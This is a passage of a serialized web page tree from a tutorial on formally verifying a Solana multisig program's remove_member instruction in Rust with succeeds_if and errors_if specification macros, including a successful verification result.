MsAuth",{"type":24,"tag":930,"props":28608,"children":28609},{"style":959},[28610],{"type":30,"value":26024},{"type":24,"tag":930,"props":28612,"children":28613},{"style":943},[28614],{"type":30,"value":26029},{"type":24,"tag":930,"props":28616,"children":28617},{"style":959},[28618],{"type":30,"value":10392},{"type":24,"tag":930,"props":28620,"children":28621},{"class":932,"line":993},[28622,28626,28630],{"type":24,"tag":930,"props":28623,"children":28624},{"style":959},[28625],{"type":30,"value":26231},{"type":24,"tag":930,"props":28627,"children":28628},{"style":937},[28629],{"type":30,"value":6839},{"type":24,"tag":930,"props":28631,"children":28632},{"style":959},[28633],{"type":30,"value":23362},{"type":24,"tag":930,"props":28635,"children":28636},{"class":932,"line":1057},[28637,28642,28646,28651,28655,28659,28663,28667,28671,28675],{"type":24,"tag":930,"props":28638,"children":28639},{"style":1023},[28640],{"type":30,"value":28641},"    multisig",{"type":24,"tag":930,"props":28643,"children":28644},{"style":1158},[28645],{"type":30,"value":476},{"type":24,"tag":930,"props":28647,"children":28648},{"style":943},[28649],{"type":30,"value":28650}," Box",{"type":24,"tag":930,"props":28652,"children":28653},{"style":959},[28654],{"type":30,"value":1350},{"type":24,"tag":930,"props":28656,"children":28657},{"style":943},[28658],{"type":30,"value":20247},{"type":24,"tag":930,"props":28660,"children":28661},{"style":959},[28662],{"type":30,"value":26024},{"type":24,"tag":930,"props":28664,"children":28665},{"style":943},[28666],{"type":30,"value":26029},{"type":24,"tag":930,"props":28668,"children":28669},{"style":959},[28670],{"type":30,"value":962},{"type":24,"tag":930,"props":28672,"children":28673},{"style":943},[28674],{"type":30,"value":25843},{"type":24,"tag":930,"props":28676,"children":28677},{"style":959},[28678],{"type":30,"value":10063},{"type":24,"tag":930,"props":28680,"children":28681},{"class":932,"line":1066},[28682],{"type":24,"tag":930,"props":28683,"children":28684},{"style":959},[28685],{"type":30,"value":26041},{"type":24,"tag":930,"props":28687,"children":28688},{"class":932,"line":1075},[28689,28694],{"type":24,"tag":930,"props":28690,"children":28691},{"style":937},[28692],{"type":30,"value":28693},"        mut",{"type":24,"tag":930,"props":28695,"children":28696},{"style":959},[28697],{"type":30,"value":2832},{"type":24,"tag":930,"props":28699,"children":28700},{"class":932,"line":1122},[28701,28705,28709],{"type":24,"tag":930,"props":28702,"children":28703},{"style":959},[28704],{"type":30,"value":26125},{"type":24,"tag":930,"props":28706,"children":28707},{"style":1158},[28708],{"type":30,"value":1161},{"type":24,"tag":930,"props":28710,"children":28711},{"style":959},[28712],{"type":30,"value":28713}," [\n",{"type":24,"tag":930,"props":28715,"children":28716},{"class":932,"line":1131},[28717,28722],{"type":24,"tag":930,"props":28718,"children":28719},{"style":1270},[28720],{"type":30,"value":28721},"            b\"squad\"",{"type":24,"tag":930,"props":28723,"children":28724},{"style":959},[28725],{"type":30,"value":2832},{"type":24,"tag":930,"props":28727,"children":28728},{"class":932,"line":1144},[28729,28734,28738,28743,28747],{"type":24,"tag":930,"props":28730,"children":28731},{"style":959},[28732],{"type":30,"value":28733},"            multisig",{"type":24,"tag":930,"props":28735,"children":28736},{"style":1158},[28737],{"type":30,"value":436},{"type":24,"tag":930,"props":28739,"children":28740},{"style":959},[28741],{"type":30,"value":28742},"create_key",{"type":24,"tag":930,"props":28744,"children":28745},{"style":1158},[28746],{"type":30,"value":436},{"type":24,"tag":930,"props":28748,"children":28749},{"style":959},[28750],{"type":30,"value":28751},"as_ref(),\n",{"type":24,"tag":930,"props":28753,"children":28754},{"class":932,"line":1169},[28755],{"type":24,"tag":930,"props":28756,"children":28757},{"style":1270},[28758],{"type":30,"value":28759},"            b\"multisig\"\n",{"type":24,"tag":930,"props":28761,"children":28762},{"class":932,"line":1191},[28763,28768,28773,28777,28781,28785],{"type":24,"tag":930,"props":28764,"children":28765},{"style":959},[28766],{"type":30,"value":28767},"        ], ",{"type":24,"tag":930,"props":28769,"children":28770},{"style":1023},[28771],{"type":30,"value":28772},"bump",{"type":24,"tag":930,"props":28774,"children":28775},{"style":1158},[28776],{"type":30,"value":6137},{"type":24,"tag":930,"props":28778,"children":28779},{"style":1023},[28780],{"type":30,"value":26187},{"type":24,"tag":930,"props":28782,"children":28783},{"style":1158},[28784],{"type":30,"value":436},{"type":24,"tag":930,"props":28786,"children":28787},{"style":959},[28788],{"type":30,"value":26167},{"type":24,"tag":930,"props":28790,"children":28791},{"class":932,"line":1223},[28792],{"type":24,"tag":930,"props":28793,"children":28794},{"style":959},[28795],{"type":30,"value":26175},{"type":24,"tag":930,"props":28797,"children":28798},{"class":932,"line":1281},[28799,28803,28808,28812,28816,28820,28824],{"type":24,"tag":930,"props":28800,"children":28801},{"style":937},[28802],{"type":30,"value":23945},{"type":24,"tag":930,"props":28804,"children":28805},{"style":1023},[28806],{"type":30,"value":28807}," multisig_auth",{"type":24,"tag":930,"props":28809,"children":28810},{"style":1158},[28811],{"type":30,"value":476},{"type":24,"tag":930,"props":28813,"children":28814},{"style":943},[28815],{"type":30,"value":26260},{"type":24,"tag":930,"props":28817,"children":28818},{"style":959},[28819],{"type":30,"value":26024},{"type":24,"tag":930,"props":28821,"children":28822},{"style":943},[28823],{"type":30,"value":26029},{"type":24,"tag":930,"props":28825,"children":28826},{"style":959},[28827],{"type":30,"value":9251},{"type":24,"tag":930,"props":28829,"children":28830},{"class":932,"line":1313},[28831],{"type":24,"tag":930,"props":28832,"children":28833},{"style":959},[28834],{"type":30,"value":2528},{"type":24,"tag":930,"props":28836,"children":28837},{"class":932,"line":1335},[28838],{"type":24,"tag":930,"props":28839,"children":28840},{"emptyLinePlaceholder":16},[28841],{"type":30,"value":2412},{"type":24,"tag":930,"props":28843,"children":28844},{"class":932,"line":1376},[28845,28849,28853,28858,28862,28866,28870,28874,28878,28883,28887,28892,28896,28900,28904,28908,28912],{"type":24,"tag":930,"props":28846,"children":28847},{"style":937},[28848],{"type":30,"value":16797},{"type":24,"tag":930,"props":28850,"children":28851},{"style":937},[28852],{"type":30,"value":16802},{"type":24,"tag":930,"props":28854,"children":28855},{"style":1002},[28856],{"type":30,"value":28857}," remove_member",{"type":24,"tag":930,"props":28859,"children":28860},{"style":959},[28861],{"type":30,"value":1010},{"type":24,"tag":930,"props":28863,"children":28864},{"style":1023},[28865],{"type":30,"value":23384},{"type":24,"tag":930,"props":28867,"children":28868},{"style":1158},[28869],{"type":30,"value":476},{"type":24,"tag":930,"props":28871,"children":28872},{"style":943},[28873],{"type":30,"value":23393},{"type":24,"tag":930,"props":28875,"children":28876},{"style":959},[28877],{"type":30,"value":1350},{"type":24,"tag":930,"props":28879,"children":28880},{"style":943},[28881],{"type":30,"value":28882},"MsAuth",{"type":24,"tag":930,"props":28884,"children":28885},{"style":959},[28886],{"type":30,"value":9742},{"type":24,"tag":930,"props":28888,"children":28889},{"style":1023},[28890],{"type":30,"value":28891},"old_member",{"type":24,"tag":930,"props":28893,"children":28894},{"style":1158},[28895],{"type":30,"value":476},{"type":24,"tag":930,"props":28897,"children":28898},{"style":943},[28899],{"type":30,"value":23959},{"type":24,"tag":930,"props":28901,"children":28902},{"style":959},[28903],{"type":30,"value":5579},{"type":24,"tag":930,"props":28905,"children":28906},{"style":1158},[28907],{"type":30,"value":16864},{"type":24,"tag":930,"props":28909,"children":28910},{"style":943},[28911],{"type":30,"value":16869},{"type":24,"tag":930,"props":28913,"children":28914},{"style":959},[28915],{"type":30,"value":23435},{"type":24,"tag":930,"props":28917,"children":28918},{"class":932,"line":1418},[28919],{"type":24,"tag":930,"props":28920,"children":28921},{"style":1422},[28922],{"type":30,"value":28923},"    // if there is only one key in this multisig, reject the removal\n",{"type":24,"tag":930,"props":28925,"children":28926},{"class":932,"line":1438},[28927,28931,28936,28940,28944,28948,28952,28956,28960,28964,28968,28972,28976,28980],{"type":24,"tag":930,"props":28928,"children":28929},{"style":1079},[28930],{"type":30,"value":15386},{"type":24,"tag":930,"props":28932,"children":28933},{"style":1023},[28934],{"type":30,"value":28935}," ctx",{"type":24,"tag":930,"props":28937,"children":28938},{"style":1158},[28939],{"type":30,"value":436},{"type":24,"tag":930,"props":28941,"children":28942},{"style":959},[28943],{"type":30,"value":17781},{"type":24,"tag":930,"props":28945,"children":28946},{"style":1158},[28947],{"type":30,"value":436},{"type":24,"tag":930,"props":28949,"children":28950},{"style":959},[28951],{"type":30,"value":26903},{"type":24,"tag":930,"props":28953,"children":28954},{"style":1158},[28955],{"type":30,"value":436},{"type":24,"tag":930,"props":28957,"children":28958},{"style":959},[28959],{"type":30,"value":24085},{"type":24,"tag":930,"props":28961,"children":28962},{"style":1158},[28963],{"type":30,"value":436},{"type":24,"tag":930,"props":28965,"children":28966},{"style":1002},[28967],{"type":30,"value":12247},{"type":24,"tag":930,"props":28969,"children":28970},{"style":959},[28971],{"type":30,"value":3446},{"type":24,"tag":930,"props":28973,"children":28974},{"style":1158},[28975],{"type":30,"value":1239},{"type":24,"tag":930,"props":28977,"children":28978},{"style":1242},[28979],{"type":30,"value":7637},{"type":24,"tag":930,"props":28981,"children":28982},{"style":959},[28983],{"type":30,"value":981},{"type":24,"tag":930,"props":28985,"children":28986},{"class":932,"line":1479},[28987,28991,28995,28999,29003,29007,29012],{"type":24,"tag":930,"props":28988,"children":28989},{"style":1079},[28990],{"type":30,"value":18847},{"type":24,"tag":930,"props":28992,"children":28993},{"style":1002},[28994],{"type":30,"value":26620},{"type":24,"tag":930,"props":28996,"children":28997},{"style":959},[28998],{"type":30,"value":1010},{"type":24,"tag":930,"props":29000,"children":29001},{"style":943},[29002],{"type":30,"value":26629},{"type":24,"tag":930,"props":29004,"children":29005},{"style":1158},[29006],{"type":30,"value":6597},{"type":24,"tag":930,"props":29008,"children":29009},{"style":943},[29010],{"type":30,"value":29011},"CannotRemoveSoloMember",{"type":24,"tag":930,"props":29013,"children":29014},{"style":959},[29015],{"type":30,"value":1278},{"type":24,"tag":930,"props":29017,"children":29018},{"class":932,"line":1506},[29019],{"type":24,"tag":930,"props":29020,"children":29021},{"style":959},[29022],{"type":30,"value":1840},{"type":24,"tag":930,"props":29024,"children":29025},{"class":932,"line":1525},[29026,29030,29034,29038,29042,29046,29050,29054,29058,29062,29066,29070],{"type":24,"tag":930,"props":29027,"children":29028},{"style":1023},[29029],{"type":30,"value":23327},{"type":24,"tag":930,"props":29031,"children":29032},{"style":1158},[29033],{"type":30,"value":436},{"type":24,"tag":930,"props":29035,"children":29036},{"style":959},[29037],{"type":30,"value":17781},{"type":24,"tag":930,"props":29039,"children":29040},{"style":1158},[29041],{"type":30,"value":436},{"type":24,"tag":930,"props":29043,"children":29044},{"style":959},[29045],{"type":30,"value":26903},{"type":24,"tag":930,"props":29047,"children":29048},{"style":1158},[29049],{"type":30,"value":436},{"type":24,"tag":930,"props":29051,"children":29052},{"style":1002},[29053],{"type":30,"value":28558},{"type":24,"tag":930,"props":29055,"children":29056},{"style":959},[29057],{"type":30,"value":1010},{"type":24,"tag":930,"props":29059,"children":29060},{"style":1023},[29061],{"type":30,"value":28891},{"type":24,"tag":930,"props":29063,"children":29064},{"style":959},[29065],{"type":30,"value":6249},{"type":24,"tag":930,"props":29067,"children":29068},{"style":1158},[29069],{"type":30,"value":5347},{"type":24,"tag":930,"props":29071,"children":29072},{"style":959},[29073],{"type":30,"value":5539},{"type":24,"tag":930,"props":29075,"children":29076},{"class":932,"line":1569},[29077],{"type":24,"tag":930,"props":29078,"children":29079},{"emptyLinePlaceholder":16},[29080],{"type":30,"value":2412},{"type":24,"tag":930,"props":29082,"children":29083},{"class":932,"line":1592},[29084],{"type":24,"tag":930,"props":29085,"children":29086},{"style":1422},[29087],{"type":30,"value":29088},"    // if the number of keys is now less than the threshold, adjust it\n",{"type":24,"tag":930,"props":29090,"children":29091},{"class":932,"line":1610},[29092,29096,29100,29104,29108,29112,29116,29120,29124,29128,29132,29137,29141,29145,29149,29153,29157,29161,29165,29169,29173,29177],{"type":24,"tag":930,"props":29093,"children":29094},{"style":1079},[29095],{"type":30,"value":15386},{"type":24,"tag":930,"props":29097,"children":29098},{"style":1023},[29099],{"type":30,"value":28935},{"type":24,"tag":930,"props":29101,"children":29102},{"style":1158},[29103],{"type":30,"value":436},{"type":24,"tag":930,"props":29105,"children":29106},{"style":959},[29107],{"type":30,"value":17781},{"type":24,"tag":930,"props":29109,"children":29110},{"style":1158},[29111],{"type":30,"value":436},{"type":24,"tag":930,"props":29113,"children":29114},{"style":959},[29115],{"type":30,"value":26903},{"type":24,"tag":930,"props":29117,"children":29118},{"style":1158},[29119],{"type":30,"value":436},{"type":24,"tag":930,"props":29121,"children":29122},{"style":959},[29123],{"type":30,"value":24085},{"type":24,"tag":930,"props":29125,"children":29126},{"style":1158},[29127],{"type":30,"value":436},{"type":24,"tag":930,"props":29129,"children":29130},{"style":1002},[29131],{"type":30,"value":12247},{"type":24,"tag":930,"props":29133,"children":29134},{"style":959},[29135],{"type":30,"value":29136},"() \u003C ",{"type":24,"tag":930,"props":29138,"children":29139},{"style":943},[29140],{"type":30,"value":19703},{"type":24,"tag":930,"props":29142,"children":29143},{"style":1158},[29144],{"type":30,"value":6597},{"type":24,"tag":930,"props":29146,"children":29147},{"style":1002},[29148],{"type":30,"value":22576},{"type":24,"tag":930,"props":29150,"children":29151},{"style":959},[29152],{"type":30,"value":1010},{"type":24,"tag":930,"props":29154,"children":29155},{"style":1023},[29156],{"type":30,"value":23384},{"type":24,"tag":930,"props":29158,"children":29159},{"style":1158},[29160],{"type":30,"value":436},{"type":24,"tag":930,"props":29162,"children":29163},{"style":959},[29164],{"type":30,"value":17781},{"type":24,"tag":930,"props":29166,"children":29167},{"style":1158},[29168],{"type":30,"value":436},{"type":24,"tag":930,"props":29170,"children":29171},{"style":959},[29172],{"type":30,"value":26903},{"type":24,"tag":930,"props":29174,"children":29175},{"style":1158},[29176],{"type":30,"value":436},{"type":24,"tag":930,"props":29178,"children":29179},{"style":959},[29180],{"type":30,"value":29181},"threshold) {\n",{"type":24,"tag":930,"props":29183,"children":29184},{"class":932,"line":1628},[29185,29189,29194,29198,29202,29206,29210,29214,29218,29222,29226,29230,29234,29238,29242,29246,29250,29255,29259,29263,29267],{"type":24,"tag":930,"props":29186,"children":29187},{"style":937},[29188],{"type":30,"value":6186},{"type":24,"tag":930,"props":29190,"children":29191},{"style":1023},[29192],{"type":30,"value":29193}," new_threshold",{"type":24,"tag":930,"props":29195,"children":29196},{"style":1158},[29197],{"type":30,"value":476},{"type":24,"tag":930,"props":29199,"children":29200},{"style":943},[29201],{"type":30,"value":24132},{"type":24,"tag":930,"props":29203,"children":29204},{"style":1158},[29205],{"type":30,"value":6137},{"type":24,"tag":930,"props":29207,"children":29208},{"style":1023},[29209],{"type":30,"value":28935},{"type":24,"tag":930,"props":29211,"children":29212},{"style":1158},[29213],{"type":30,"value":436},{"type":24,"tag":930,"props":29215,"children":29216},{"style":959},[29217],{"type":30,"value":17781},{"type":24,"tag":930,"props":29219,"children":29220},{"style":1158},[29221],{"type":30,"value":436},{"type":24,"tag":930,"props":29223,"children":29224},{"style":959},[29225],{"type":30,"value":26903},{"type":24,"tag":930,"props":29227,"children":29228},{"style":1158},[29229],{"type":30,"value":436},{"type":24,"tag":930,"props":29231,"children":29232},{"style":959},[29233],{"type":30,"value":24085},{"type":24,"tag":930,"props":29235,"children":29236},{"style":1158},[29237],{"type":30,"value":436},{"type":24,"tag":930,"props":29239,"children":29240},{"style":1002},[29241],{"type":30,"value":12247},{"type":24,"tag":930,"props":29243,"children":29244},{"style":959},[29245],{"type":30,"value":16986},{"type":24,"tag":930,"props":29247,"children":29248},{"style":1158},[29249],{"type":30,"value":436},{"type":24,"tag":930,"props":29251,"children":29252},{"style":1002},[29253],{"type":30,"value":29254},"try_into",{"type":24,"tag":930,"props":29256,"children":29257},{"style":959},[29258],{"type":30,"value":16986},{"type":24,"tag":930,"props":29260,"children":29261},{"style":1158},[29262],{"type":30,"value":436},{"type":24,"tag":930,"props":29264,"children":29265},{"style":1002},[29266],{"type":30,"value":6781},{"type":24,"tag":930,"props":29268,"children":29269},{"style":959},[29270],{"type":30,"value":1310},{"type":24,"tag":930,"props":29272,"children":29273},{"class":932,"line":1637},[29274,29279,29283,29287,29291,29295,29299,29304,29308,29313,29317,29321],{"type":24,"tag":930,"props":29275,"children":29276},{"style":1023},[29277],{"type":30,"value":29278},"        ctx",{"type":24,"tag":930,"props":29280,"children":29281},{"style":1158},[29282],{"type":30,"value":436},{"type":24,"tag":930,"props":29284,"children":29285},{"style":959},[29286],{"type":30,"value":17781},{"type":24,"tag":930,"props":29288,"children":29289},{"style":1158},[29290],{"type":30,"value":436},{"type":24,"tag":930,"props":29292,"children":29293},{"style":959},[29294],{"type":30,"value":26903},{"type":24,"tag":930,"props":29296,"children":29297},{"style":1158},[29298],{"type":30,"value":436},{"type":24,"tag":930,"props":29300,"children":29301},{"style":1002},[29302],{"type":30,"value":29303},"change_threshold",{"type":24,"tag":930,"props":29305,"children":29306},{"style":959},[29307],{"type":30,"value":1010},{"type":24,"tag":930,"props":29309,"children":29310},{"style":1023},[29311],{"type":30,"value":29312},"new_threshold",{"type":24,"tag":930,"props":29314,"children":29315},{"style":959},[29316],{"type":30,"value":6249},{"type":24,"tag":930,"props":29318,"children":29319},{"style":1158},[29320],{"type":30,"value":5347},{"type":24,"tag":930,"props":29322,"children":29323},{"style":959},[29324],{"type":30,"value":5539},{"type":24,"tag":930,"props":29326,"children":29327},{"class":932,"line":1646},[29328],{"type":24,"tag":930,"props":29329,"children":29330},{"style":959},[29331],{"type":30,"value":1840},{"type":24,"tag":930,"props":29333,"children":29334},{"class":932,"line":1673},[29335,29339,29344,29348,29352,29356,29360,29364,29368,29372],{"type":24,"tag":930,"props":29336,"children":29337},{"style":937},[29338],{"type":30,"value":6122},{"type":24,"tag":930,"props":29340,"children":29341},{"style":1023},[29342],{"type":30,"value":29343}," new_index",{"type":24,"tag":930,"props":29345,"children":29346},{"style":1158},[29347],{"type":30,"value":6137},{"type":24,"tag":930,"props":29349,"children":29350},{"style":1023},[29351],{"type":30,"value":28935},{"type":24,"tag":930,"props":29353,"children":29354},{"style":1158},[29355],{"type":30,"value":436},{"type":24,"tag":930,"props":29357,"children":29358},{"style":959},[29359],{"type":30,"value":17781},{"type":24,"tag":930,"props":29361,"children":29362},{"style":1158},[29363],{"type":30,"value":436},{"type":24,"tag":930,"props":29365,"children":29366},{"style":959},[29367],{"type":30,"value":26903},{"type":24,"tag":930,"props":29369,"children":29370},{"style":1158},[29371],{"type":30,"value":436},{"type":24,"tag":930,"props":29373,"children":29374},{"style":959},[29375],{"type":30,"value":29376},"transaction_index;\n",{"type":24,"tag":930,"props":29378,"children":29379},{"class":932,"line":1692},[29380,29384,29388,29392,29396,29400,29404,29409,29413,29418],{"type":24,"tag":930,"props":29381,"children":29382},{"style":1023},[29383],{"type":30,"value":23327},{"type":24,"tag":930,"props":29385,"children":29386},{"style":1158},[29387],{"type":30,"value":436},{"type":24,"tag":930,"props":29389,"children":29390},{"style":959},[29391],{"type":30,"value":17781},{"type":24,"tag":930,"props":29393,"children":29394},{"style":1158},[29395],{"type":30,"value":436},{"type":24,"tag":930,"props":29397,"children":29398},{"style":959},[29399],{"type":30,"value":26903},{"type":24,"tag":930,"props":29401,"children":29402},{"style":1158},[29403],{"type":30,"value":436},{"type":24,"tag":930,"props":29405,"children":29406},{"style":1002},[29407],{"type":30,"value":29408},"set_change_index",{"type":24,"tag":930,"props":29410,"children":29411},{"style":959},[29412],{"type":30,"value":1010},{"type":24,"tag":930,"props":29414,"children":29415},{"style":1023},[29416],{"type":30,"value":29417},"new_index",{"type":24,"tag":930,"props":29419,"children":29420},{"style":959},[29421],{"type":30,"value":1054},{"type":24,"tag":930,"props":29423,"children":29424},{"class":932,"line":1730},[29425],{"type":24,"tag":930,"props":29426,"children":29427},{"style":959},[29428],{"type":30,"value":2528},{"type":24,"tag":33,"props":29430,"children":29431},{},[29432,29434,29439],{"type":30,"value":29433},"First let's establish the ",{"type":24,"tag":156,"props":29435,"children":29437},{"className":29436},[],[29438],{"type":30,"value":23258},{"type":30,"value":29440}," condition. We can do this either interactively, following counterexamples like in the first example or we can guess what a sufficient condition might be:",{"type":24,"tag":920,"props":29442,"children":29444},{"code":29443,"language":6101,"meta":7,"className":6102,"style":7},"#[succeeds_if(\n    ctx.accounts.multisig.keys.len() > 1\n)]\nfn remove_member(...) { ... }\n",[29445],{"type":24,"tag":156,"props":29446,"children":29447},{"__ignoreMap":7},[29448,29455,29502,29509],{"type":24,"tag":930,"props":29449,"children":29450},{"class":932,"line":933},[29451],{"type":24,"tag":930,"props":29452,"children":29453},{"style":959},[29454],{"type":30,"value":27203},{"type":24,"tag":930,"props":29456,"children":29457},{"class":932,"line":984},[29458,29462,29466,29470,29474,29478,29482,29486,29490,29494,29498],{"type":24,"tag":930,"props":29459,"children":29460},{"style":959},[29461],{"type":30,"value":23327},{"type":24,"tag":930,"props":29463,"children":29464},{"style":1158},[29465],{"type":30,"value":436},{"type":24,"tag":930,"props":29467,"children":29468},{"style":959},[29469],{"type":30,"value":17781},{"type":24,"tag":930,"props":29471,"children":29472},{"style":1158},[29473],{"type":30,"value":436},{"type":24,"tag":930,"props":29475,"children":29476},{"style":959},[29477],{"type":30,"value":26903},{"type":24,"tag":930,"props":29479,"children":29480},{"style":1158},[29481],{"type":30,"value":436},{"type":24,"tag":930,"props":29483,"children":29484},{"style":959},[29485],{"type":30,"value":24085},{"type":24,"tag":930,"props":29487,"children":29488},{"style":1158},[29489],{"type":30,"value":436},{"type":24,"tag":930,"props":29491,"children":29492},{"style":959},[29493],{"type":30,"value":24123},{"type":24,"tag":930,"props":29495,"children":29496},{"style":1158},[29497],{"type":30,"value":2261},{"type":24,"tag":930,"props":29499,"children":29500},{"style":959},[29501],{"type":30,"value":22545},{"type":24,"tag":930,"props":29503,"children":29504},{"class":932,"line":993},[29505],{"type":24,"tag":930,"props":29506,"children":29507},{"style":959},[29508],{"type":30,"value":23362},{"type":24,"tag":930,"props":29510,"children":29511},{"class":932,"line":1057},[29512,29516,29520,29524,29528,29532,29536],{"type":24,"tag":930,"props":29513,"children":29514},{"style":937},[29515],{"type":30,"value":23370},{"type":24,"tag":930,"props":29517,"children":29518},{"style":1002},[29519],{"type":30,"value":28857},{"type":24,"tag":930,"props":29521,"children":29522},{"style":959},[29523],{"type":30,"value":1010},{"type":24,"tag":930,"props":29525,"children":29526},{"style":1158},[29527],{"type":30,"value":12699},{"type":24,"tag":930,"props":29529,"children":29530},{"style":959},[29531],{"type":30,"value":27080},{"type":24,"tag":930,"props":29533,"children":29534},{"style":1158},[29535],{"type":30,"value":12699},{"type":24,"tag":930,"props":29537,"children":29538},{"style":959},[29539],{"type":30,"value":12704},{"type":24,"tag":33,"props":29541,"children":29542},{},[29543,29545,29550],{"type":30,"value":29544},"And for now let's remove the invariant on the ",{"type":24,"tag":156,"props":29546,"children":29548},{"className":29547},[],[29549],{"type":30,"value":25843},{"type":30,"value":29551}," account:",{"type":24,"tag":920,"props":29553,"children":29555},{"code":29554,"language":6101,"meta":7,"className":6102,"style":7},"#[invariant()]\npub struct Ms { ... }\n",[29556],{"type":24,"tag":156,"props":29557,"children":29558},{"__ignoreMap":7},[29559,29567],{"type":24,"tag":930,"props":29560,"children":29561},{"class":932,"line":933},[29562],{"type":24,"tag":930,"props":29563,"children":29564},{"style":959},[29565],{"type":30,"value":29566},"#[invariant()]\n",{"type":24,"tag":930,"props":29568,"children":29569},{"class":932,"line":984},[29570,29574,29578,29582,29586,29590],{"type":24,"tag":930,"props":29571,"children":29572},{"style":937},[29573],{"type":30,"value":16797},{"type":24,"tag":930,"props":29575,"children":29576},{"style":937},[29577],{"type":30,"value":24253},{"type":24,"tag":930,"props":29579,"children":29580},{"style":943},[29581],{"type":30,"value":24258},{"type":24,"tag":930,"props":29583,"children":29584},{"style":959},[29585],{"type":30,"value":12694},{"type":24,"tag":930,"props":29587,"children":29588},{"style":1158},[29589],{"type":30,"value":12699},{"type":24,"tag":930,"props":29591,"children":29592},{"style":959},[29593],{"type":30,"value":12704},{"type":24,"tag":33,"props":29595,"children":29596},{},[29597],{"type":30,"value":29598},"Let's test this!",{"type":24,"tag":33,"props":29600,"children":29601},{},[29602,29604,29609],{"type":30,"value":29603},"Our ",{"type":24,"tag":156,"props":29605,"children":29607},{"className":29606},[],[29608],{"type":30,"value":23258},{"type":30,"value":29610}," harness produces:",{"type":24,"tag":920,"props":29612,"children":29614},{"code":29613},"VERIFICATION:- SUCCESSFUL\nVerification Time: 28.119272s\n",[29615],{"type":24,"tag":156,"props":29616,"children":29617},{"__ignoreMap":7},[29618],{"type":30,"value":29613},{"type":24,"tag":33,"props":29620,"children":29621},{},[29622],{"type":30,"value":29623},"This tells us that if our multisig has at least two keys then the instruction will succeed.",{"type":24,"tag":33,"props":29625,"children":29626},{},[29627,29629,29634],{"type":30,"value":29628},"However, remember that since ",{"type":24,"tag":156,"props":29630,"children":29632},{"className":29631},[],[29633],{"type":30,"value":23258},{"type":30,"value":29635}," represents just the sufficient conditions, there may be other cases where the function succeeds.",{"type":24,"tag":33,"props":29637,"children":29638},{},[29639,29641,29646,29648,29653,29655,29660],{"type":30,"value":29640},"Suppose we want to be sure that this condition is the ",{"type":24,"tag":6032,"props":29642,"children":29643},{},[29644],{"type":30,"value":29645},"only condition",{"type":30,"value":29647}," in which the function will succeed (i.e. ",{"type":24,"tag":6032,"props":29649,"children":29650},{},[29651],{"type":30,"value":29652},"\"the function will succeed if and only if the multisig has at least two keys\"",{"type":30,"value":29654},"). We could attempt to verify the other side of this with an ",{"type":24,"tag":156,"props":29656,"children":29658},{"className":29657},[],[29659],{"type":30,"value":23265},{"type":30,"value":29661}," macro such as:",{"type":24,"tag":920,"props":29663,"children":29665},{"code":29664,"language":6101,"meta":7,"className":6102,"style":7},"#[succeeds_if(\n    ctx.accounts.multisig.keys.len() > 1\n)]\n#[errors_if(\n    ctx.accounts.multisig.keys.len() \u003C= 1\n)]\nfn remove_member(...) { ... }\n",[29666],{"type":24,"tag":156,"props":29667,"children":29668},{"__ignoreMap":7},[29669,29676,29723,29730,29737,29784,29791],{"type":24,"tag":930,"props":29670,"children":29671},{"class":932,"line":933},[29672],{"type":24,"tag":930,"props":29673,"children":29674},{"style":959},[29675],{"type":30,"value":27203},{"type":24,"tag":930,"props":29677,"children":29678},{"class":932,"line":984},[29679,29683,29687,29691,29695,29699,29703,29707,29711,29715,29719],{"type":24,"tag":930,"props":29680,"children":29681},{"style":959},[29682],{"type":30,"value":23327},{"type":24,"tag":930,"props":29684,"children":29685},{"style":1158},[29686],{"type":30,"value":436},{"type":24,"tag":930,"props":29688,"children":29689},{"style":959},[29690],{"type":30,"value":17781},{"type":24,"tag":930,"props":29692,"children":29693},{"style":1158},[29694],{"type":30,"value":436},{"type":24,"tag":930,"props":29696,"children":29697},{"style":959},[29698],{"type":30,"value":26903},{"type":24,"tag":930,"props":29700,"children":29701},{"style":1158},[29702],{"type":30,"value":436},{"type":24,"tag":930,"props":29704,"children":29705},{"style":959},[29706],{"type":30,"value":24085},{"type":24,"tag":930,"props":29708,"children":29709},{"style":1158},[29710],{"type":30,"value":436},{"type":24,"tag":930,"props":29712,"children":29713},{"style":959},[29714],{"type":30,"value":24123},{"type":24,"tag":930,"props":29716,"children":29717},{"style":1158},[29718],{"type":30,"value":2261},{"type":24,"tag":930,"props":29720,"children":29721},{"style":959},[29722],{"type":30,"value":22545},{"type":24,"tag":930,"props":29724,"children":29725},{"class":932,"line":993},[29726],{"type":24,"tag":930,"props":29727,"children":29728},{"style":959},[29729],{"type":30,"value":23362},{"type":24,"tag":930,"props":29731,"children":29732},{"class":932,"line":1057},[29733],{"type":24,"tag":930,"props":29734,"children":29735},{"style":959},[29736],{"type":30,"value":23319},{"type":24,"tag":930,"props":29738,"children":29739},{"class":932,"line":1066},[29740,29744,29748,29752,29756,29760,29764,29768,29772,29776,29780],{"type":24,"tag":930,"props":29741,"children":29742},{"style":959},[29743],{"type":30,"value":23327},{"type":24,"tag":930,"props":29745,"children":29746},{"style":1158},[29747],{"type":30,"value":436},{"type":24,"tag":930,"props":29749,"children":29750},{"style":959},[29751],{"type":30,"value":17781},{"type":24,"tag":930,"props":29753,"children":29754},{"style":1158},[29755],{"type":30,"value":436},{"type":24,"tag":930,"props":29757,"children":29758},{"style":959},[29759],{"type":30,"value":26903},{"type":24,"tag":930,"props":29761,"children":29762},{"style":1158},[29763],{"type":30,"value":436},{"type":24,"tag":930,"props":29765,"children":29766},{"style":959},[29767],{"type":30,"value":24085},{"type":24,"tag":930,"props":29769,"children":29770},{"style":1158},[29771],{"type":30,"value":436},{"type":24,"tag":930,"props":29773,"children":29774},{"style":959},[29775],{"type":30,"value":24123},{"type":24,"tag":930,"props":29777,"children":29778},{"style":1158},[29779],{"type":30,"value":22517},{"type":24,"tag":930,"props":29781,"children":29782},{"style":959},[29783],{"type":30,"value":22545},{"type":24,"tag":930,"props":29785,"children":29786},{"class":932,"line":1075},[29787],{"type":24,"tag":930,"props":29788,"children":29789},{"style":959},[29790],{"type":30,"value":23362},{"type":24,"tag":930,"props":29792,"children":29793},{"class":932,"line":1122},[29794,29798,29802,29806,29810,29814,29818],{"type":24,"tag":930,"props":29795,"children":29796},{"style":937},[29797],{"type":30,"value":23370},{"type":24,"tag":930,"props":29799,"children":29800},{"style":1002},[29801],{"type":30,"value":28857},{"type":24,"tag":930,"props":29803,"children":29804},{"style":959},[29805],{"type":30,"value":1010},{"type":24,"tag":930,"props":29807,"children":29808},{"style":1158},[29809],{"type":30,"value":12699},{"type":24,"tag":930,"props":29811,"children":29812},{"style":959},[29813],{"type":30,"value":27080},{"type":24,"tag":930,"props":29815,"children":29816},{"s